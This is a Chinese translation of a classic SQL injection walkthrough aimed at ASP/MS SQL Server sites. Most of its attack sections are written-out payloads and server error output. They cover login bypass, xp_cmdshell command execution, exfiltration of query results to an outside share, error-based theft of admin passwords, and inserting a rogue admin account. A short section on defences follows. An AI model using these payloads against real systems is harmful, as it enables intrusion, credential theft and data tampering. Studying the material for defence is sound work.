SQL Injection技巧的演練

原著: [email protected]
出處: http://www.securiteam.com/
翻譯人: demonalex
翻譯人Email: demonalex_at_dark2s.org
+上 http://demonalex.cn.st / http://www.cnwill.com

摘要:
下文是爲了幫助那些希望能掌握這個漏洞的運用、並想得知如何保護自己免受這種漏洞攻擊的人瞭解該漏
洞的本質而寫的。


詳細資料:

1.0緒論
當一臺機器只開放了80端口(這裏指的是提供HTTP服務)時,可能你的大多數漏洞掃描器都不能給到你很多
有價值的信息(漏洞信息),倘若這臺機器的管理員是經常爲他的服務器打PATCH的話,我們只好把攻擊的
矛頭指向WEB服務攻擊了。SQL注入攻擊是WEB攻擊類型中的一種,這種攻擊沒有什麼特殊的要求,只需要
對方提供正常的HTTP服務,且不需要理會管理員是否是個“PATCH狂”。這類攻擊主要是針對某種WEB處理
程序(如ASP,JSP,PHP,CGI等等)的而進行。

這篇文章不是在爲閣下介紹什麼新“玩意”,SQL注入攻擊以前就一直廣爲流傳着。我之所以現在才寫這
篇文章是因爲我想把我最近實驗所得的某些經驗與積累記錄下來,希望能給予讀者某些參考吧。你也可以
在“9.0我從哪裏可以得到更多相關資料?”的欄目中找到更多其他人所寫的、關於SQL注入技巧的相關資
料。

1.1什麼是SQL注入?
這種攻擊的要訣在於將SQL的查詢/行爲命令通過‘嵌入’的方式放入合法的HTTP提交請求中從而達到攻擊
者的某種意圖。現在很多的動態網頁都會從該網頁使用者的請求中得到某些參數,然後動態的構成SQL請
求發給數據庫的。舉個例子,當有某個用戶需要通過網頁上的用戶登陸(用戶身份驗證)時,動態網頁會將
該用戶提交上來的用戶名與密碼加進SQL詢問請求發給數據庫,用於確認該用戶提交的身份驗證信息是否
有效。在SQL注入攻擊的角度看來,這樣可以使我們在發送SQL請求時通過修改用戶名與/或密碼值的‘領
域’區來達到攻擊的目的。

1.2SQL注入需要什麼(工具等)呢?
一個(些)網頁瀏覽器。

2.0什麼信息是你所需要找尋的呢?
首先你需要找到允許提交數據的頁面,如:登陸頁面、搜索頁面、反饋頁面、等等。有的時候,某些HTML
頁面會通過POST命令將所需要的參數傳遞給其他的ASP頁面。所以,有的時候你不會在URL路徑中看到相關
的參數。儘管如此,你仍可以通過查看HTML的源代碼中的"FORM"標籤來辨別是否有參數傳遞,相關的代碼
如下:
<FORM action=Search/search.asp method=post>
<input type=hidden name=A value=C>
</FORM>
在<FORM>與</FORM>的標籤對間的每一個參數傳遞都有可能可以被利用(利用在攻擊的情況下)着SQL注入。

2.1當你找不到有輸入行爲的頁面時應該怎麼辦呢?
你可以找一些相關ASP、JSP、CGI或PHP這類型的頁面。嘗試找一些帶有某些參數的特殊URL,如:
http://duck/index.asp?id=10

3.0你應該如何測試這些缺陷是否存在呢?
首先先加入某些特殊的字符標記,輸入如:
hi' or 1=1--
尋找一些登陸頁面,在其登陸ID與密碼輸入處,或URL中輸入:
- Login: hi' or 1=1--
- Pass: hi' or 1=1--
- http://duck/index.asp?id=hi' or 1=1--
如果想以‘隱藏’的方式進行此類測試,你可以把該HTML網頁從網站上下載至本地硬盤,修改其隱藏部分
的值,如:
<FORM action=http://duck/Search/search.asp method=post>
<input type=hidden name=A value="hi' or 1=1--">
</FORM>
如果閣下是幸運的話估計現在已經可以不需要帳號與密碼而‘成功登陸’了。

3.1爲什麼使用的是' or 1=1--呢?
讓我們來看看其他例子中使用'or 1=1--的重要性吧。有別於正常的登陸方式,使用這樣的登陸方式可能
可以得到正常登陸中不能得到的某些特殊信息。用一個鏈接中得到的ASP頁來打比方:
http://duck/index.asp?category=food
在上面這條URL中,'category'是一個變量名,而'food'是賦予該變量的值。爲了做到這些(鏈接成功),
這個ASP必須包含以下相關的代碼(下面也是我們爲了演示這個實驗所寫的代碼):
v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)
正如我們所看到的,變量值將會預先處理然後賦值於'v_cat',也就是說該SQL語句將會變爲:
SELECT * FROM product WHERE PCategory='food'
這個請求將會返回通過WHERE條件比較後得到的結果,在這個例子中也就是'food'了。現在設想一下如果
我們把該URL改成這樣的話:
http://duck/index.asp?category=food' or 1=1--
現在我們的變量v_cat的值就等同於"food' or 1=1--"了,現在如果我們要重新代入那條SQL請求的話,
那條SQL請求將會是:
SELECT * FROM product WHERE PCategory='food' or 1=1--'
現在這個請求將會從product表中選取每一條信息而並不會去理會PCategory是否等於'food'。至於結尾
部分的那兩條'--'(破折號)則用於‘告訴’MS SQL SERVER忽略結尾最後的那個'(單引號)。有的時候也
可以使用'#'(井號)來代替'--'(雙破折號)在這裏的用法。
無論如何,如果對方不是一臺SQL服務器(這裏指的是MS SQL SERVER),或者你不能使用簡單的方法去忽
略最後的那個單引號的話,你可以嘗試:
' or 'a'='a
這樣的話整個SQL請求將會變爲:
SELECT * FROM product WHERE PCategory='food' or 'a'='a'
它也會返回相同的結果。
根據實際情況,SQL注入請求是可以有多種動態變化的可能性的:
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a

4.0如何在SQL注入請求中加入即時執行命令?
能夠進行SQL注入的服務器通常都是一些疏於做系統性配置檢查的機器,此時我們可以嘗試使用SQL的命
令執行請求。默認的MS SQL服務器是運行在SYSTEM用戶級別下的,這等同於系統管理員的執行與訪問權
限。我們可以使用MS SQL SERVER的擴展儲存過程(如master..xp_cmdshell等)來執行遠程系統的某些命
令:
'; exec master..xp_cmdshell 'ping 10.10.1.2'--
若失敗可以嘗試一下使用"(雙引號)代替'(單引號)。
上面例子中的第二個冒號代表一句SQL請求的結束(也代表了它後面緊跟着一條新SQL命令)。若要檢驗上
面這條PING命令是否成功,你可以在10.10.1.2這臺機器上監聽ICMP請求包,並確認它是否來自那臺SQL
服務器就可以了:
#tcpdump icmp
如果你不能從那臺SQL服務器中得到PING請求的話,並在SQL請求的返回值中得到錯誤信息的話,有可能
是因爲該SQL服務器的管理員限制了WEB用戶訪問這些儲存過程了。

5.0如何可以獲取到我發的SQL請求的相關返回信息呢?
我們可以使用sp_makewebtask處理過程的相關請求寫入URL:
'; EXEC master..sp_makewebtask "//10.10.1.3/share/output.html", "SELECT * FROM INFORMATION
_SCHEMA.TABLES"
但先決條件是目標主機的文件夾“share”屬性必須設置爲“Everyone”。

6.0如何可以從數據庫返回的ODBC錯誤信息得到某些重要的數據呢?
我們可以通過發送精心構造的SQL請求迫使MS SQL SERVER從返回的信息中透露出我們想得到的信息(如表
名、列名等)。比方有這麼一個URL:
http://duck/index.asp?id=10
在上面的URL中我們可以嘗試使用UNION子句的方式在整數'10'之後加入其他請求字符串進去的,如:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
上例中的系統表INFORMATION_SCHEMA.TABLES包括了這臺服務器中所有表的信息。至於TABLE_NAME區域就
包括了每一個表的名稱。我們之所以要選擇這樣寫是因爲我們知道它是一定存在的。換言之我們的SQL詢
問請求就是:
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-
服務器接到請求數據後必將返回數據庫的第一個表名。當我們使用UNION子句將請求字符串加入整數10之
後時,MS SQL SERVER會嘗試轉換該字符串爲整數值。既然我們不能把字符串(nvarchar)轉爲整數型(int
)時,系統就會產生錯誤。服務器會顯示如下錯誤信息:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
table1' to a column of data type int.
/index.asp, line 5
非常好,這條錯誤信息告訴了我們轉換出現錯誤的所有相關信息(包括我們想知道的表名)。在這個實例
中,我們知道了第一個表名是“table1”。若要得到下一個表名,我們可以發送這樣的請求:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WH
ERE TABLE_NAME NOT IN ('table1')--
我們也可以通過LIKE來找尋相關的特殊字:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WH
ERE TABLE_NAME LIKE '%25login%25'--
輸出得到:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
admin_login' to a column of data type int.
/index.asp, line 5

6.1如何找出表中的列名?
我們可以利用另一個比較重要的表INFORMATION_SCHEMA.COLUMNS來羅列出一個表的所有列名:
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME='admin_login'--
輸出顯示爲:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
login_id' to a column of data type int.
/index.asp, line 5
現在已經得到第一個列的名稱了,我們還可以用NOT IN ()得到下一個列名:
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--
輸出得到:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
login_name' to a column of data type int.
/index.asp, line 5
若繼續重複這樣的操作,我們將可以獲得餘下所有的列名,如"password"、"details"。當我們使用了下
面的請求後就可以得到(除了'login_id','login_name','password',details'之外的列名):
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password'
,details')--
輸出後得到:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select lis
t if the statement contains a UNION operator.
/index.asp, line 5

6.2如何找到我們需要的數據?
現在我們需要鑑別出一些比較重要的表與列,我們可以用相同的技巧詢問數據庫從而得到相關的信息。
現在讓我們問問"admin_login"表的第一個用戶名是什麼吧:
http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--
輸出:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
neo' to a column of data type int.
/index.asp, line 5
知道了一個管理員帳號是"neo"。最後,問問這個管理員帳號的密碼是什麼吧:
http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='
neo'--
輸出:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
m4trix' to a column of data type int.
/index.asp, line 5
現在我們可以用"neo"與他的密碼("m4trix")來登陸系統了。

6.3如何獲得數字串值?
在這裏技術上表達的一種侷限性。若要將數字(0-9之間的數字)轉換爲正常的文本數據的話,我們將無法
得到我們所需要的錯誤提示信息。舉個例子,我們現在要嘗試得到帳號爲"trinity"的密碼,而它所對應
的密碼爲"31173":
http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='
trinity'--
這樣我們大概只能得到“Page Not Found”這樣的錯誤提示。這其中的主要問題在於,在與整數(這個例
子中爲10)進行了合集(使用了UNION子句)以後這個密碼"31173"將會被系統轉換爲數值。這樣的話這個UN
ION字句調用就是‘合法’的了,SQL服務器將不會返回任何ODBC錯誤信息,因而我們是不可能得到這些
數字型數據的。
爲了解決這個問題,我們可以爲這些數據字符串加入一些字母表來確定轉化過程是錯誤的。讓我們試試
用下面的這條請求來代替原來的請求吧:
http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM
admin_login where login_name='trinity'--
在這裏我們只不過是加入了一個(+)加號與其它我們想加入的字符進去而已(在ASCII中'+'等於0x2b)。我
們加入了一個(%20)空格與morpheus(隨便一個字符串)進入實際的密碼數據中。這樣的話,即使我們得到
了數字串'31173',它也會變成'31173 morpheus'。
在執行了convert()函數後,系統會嘗試將'31173 morpheus'轉換爲整數型,SQL服務器一定會返回這樣
的ODBC錯誤信息:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
31173 morpheus' to a column of data type int.
/index.asp, line 5
現在你可以知道'trinity'的密碼是'31173'了吧。

7.0如何在數據庫中更新/插入數據?
當成功地收集到表中所有的列後,我們就可以在表中UPDATE(升級/修改)原有的數據或者INSERT(加入)新
的數據。打個比方,我們要修改帳號"neo"的密碼:
http://duck/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_na
me='neo'--
加入一條新的記錄:
http://duck/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password
', 'details') VALUES (666,'neo2','newpas5','NA')--
現在我們就可以以帳號"neo2"、密碼"newpas5"登陸系統了。

8.0如何避免被SQL注入攻擊?
過濾一些特殊像單引號、雙引號、斜槓、反斜槓、冒號、空字符等的字符,過濾的對象包括:
-用戶的輸入
-提交的URL請求中的參數部分
-從cookie中得到的數據
至於數字值,將其轉換爲整數型之前必須有SQL語句聲明,或者用ISNUMERIC確定它爲一個整型數。
修改“Startup and run SQL Server”的用戶運行級別爲低級別。
刪除一系列你不需要的儲存過程,如:
master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

9.0我從哪裏可以得到更多相關資料?
我們最初接觸到SQL注入攻擊是在Rain Forest Puppy有關他入侵PacketStorm的文章中提到的。
http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6
一篇收集了ODBC錯誤信息的好文章:
http://www.blackhat.com/presentations/win-...1Litchfield.doc
關於在SQL SERVER中進行SQL注入的好文章:
http://www.owasp.org/asac/input_validation/sql.shtml
Senseport網站所著的關於SQL注入的文章:
http://www.sensepost.com/misc/SQLinsertion.htm
其他相關文檔:
http://www.digitaloffense.net/wargames01/IOWargames.ppt
http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6
http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6
http://www.spidynamics.com/whitepapers/Whi...QLInjection.pdf


--------------------

寧可臺灣不長草,誓死也要臺灣島!

Our target:
1. Work hard to increase own technique and cognition.
2. Announce our article.( theories, practice, discovers, study summary)

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章